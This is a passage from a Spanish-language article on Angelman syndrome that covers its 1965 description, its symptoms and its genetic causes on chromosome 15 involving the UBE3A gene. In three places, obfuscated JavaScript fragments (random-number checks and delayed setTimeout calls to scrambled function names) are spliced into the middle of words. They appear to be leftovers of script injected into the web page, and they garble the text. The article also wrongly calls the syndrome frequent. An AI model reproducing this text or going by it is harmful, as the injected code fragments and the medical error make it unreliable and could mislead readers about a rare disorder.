SÍNDROME DE ANGELMAN, UNA FELICIDAD APARENTE

Autora: Cristina Gimón Murciano

          En 1965, el Dr. Harry Angelman, un médico inglés, describió por primera vez a tres niños con características, ahora conocidas, como el Síndrome de Angelman. Él notó que todos tenían rigidez, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andar espástico, ausencia de habla, risa excesiva y crisis convulsivas.

  • Definición 

          El síndrome de Angelman es una enfermedad frecuente, de origen genético que ocasiona distintos trastornos de la conducta, el desarrollo y el aprendizaje. Si bien aún no existe una cura, hay tratamientos que permiten controlar o al menos atenuar algunos de sus síntomas.


           “Muñecos felice”s fue el apodo que el médico inglés Harry Angelman adoptó en 1965 al describir a tres pacientes que compartían dos características: un andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andar rígido y una risa excesiva. Sucede que, de la variedad de sentimientos que experimentan, quienes padecen el síndrome, que luego tomaría el apellido de Angelman, la risa es el más frecuente.


           Si bien actualmente no existe una cura para el síndrome de Angelman, muchos de sus síntomas -como la epilepsia o la hiperactividad- pueden ser tratados con medicación o terapias psicomotrices, por ejemplo.

  • Causas del Síndrome de Angelman 

          El síndrome de Angelman es causado por la pérdida de una región del cromosoma 15, que principalmente es aportado de forma materna.


          Otra de las causas incluye la disomía uniparental, la translocación o la mutación puntual de un gen de esa región. Una persona sana recibe dos copias del cromosoma 15 (uno de aportación materna y el otro por vía paterna); sin embargo, la contribución materno-paterna es diferente ya que existen ciertos genes que se expresan de forma muy diferente dependiendo del sexo. Si la contribución materna se pierde o muta, el resultado es el síndrome de Angelman. Si por el contrario la pérdida o mutación ocurren en la contribución paterna el resultado se conoce como síndrome de Prader-Willi (deleción en genes que están activados y que son de origen paterno se sabe que causan otro desorden de retraso mental).


          También puede ser el resultado de una mutación puntual de un único gen. Este gen se conoce por el nombre de Ube3a, que es parte de la ruta de la ubiquitina. El gen está presente tanto en los cromosomas 15 de la madre como del padre, pero difieren en el patrón de metilación (impronta).


          La gran mayoría de los casos se producen por una deleción de aproximadamente 4 Mb de la región materna 15q11-13, causandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la ausencia de expresión de Ube3a en las regiones cerebrales especificadas anteriormente. Ube3a codifica para la proteína E6-AP ligasa de ubiquitina. La ausencia de esta proteína va a propiciar que se acumulen